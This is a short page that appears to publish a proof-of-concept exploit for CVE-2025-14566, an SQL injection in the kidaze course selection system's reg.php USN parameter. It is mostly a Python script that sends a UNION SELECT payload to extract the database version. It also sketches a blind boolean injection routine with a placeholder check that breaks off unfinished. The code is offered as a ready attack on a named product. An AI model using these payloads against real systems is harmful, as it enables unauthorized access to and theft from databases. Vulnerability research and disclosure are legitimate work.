CVE-2025-14566 kidaze课程选择系统SQL注入漏洞

import requests import sys # CVE-2025-14566 SQL Injection PoC # Target: kidaze CourseSelectionSystem /Profilers/SProfile/reg.php # Parameter: USN def exploit_sqli(target_url, payload): """ SQL Injection exploit for CVE-2025-14566 Extract database version information """ params = { 'USN': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" # Basic injection test - extract database version target = "http://target.com/Profilers/SProfile/reg.php" payload = "' UNION SELECT NULL,version(),NULL-- -" print("[*] Testing CVE-2025-14566 SQL Injection") print(f"[*] Target: {target}") print(f"[*] Payload: {payload}") result = exploit_sqli(target, payload) print(f"[+] Result: {result[:500]}") # Blind boolean-based injection for data extraction def blind_sqli(target_url, param_name, injection): params = {param_name: injection} response = requests.get(target_url, params=params) return response.status_code == 200 and 'expected_condition' in response.text # Example: Extract current user payload_user = "' AND 1=1-- -" print(f"[*] Extracting database user...")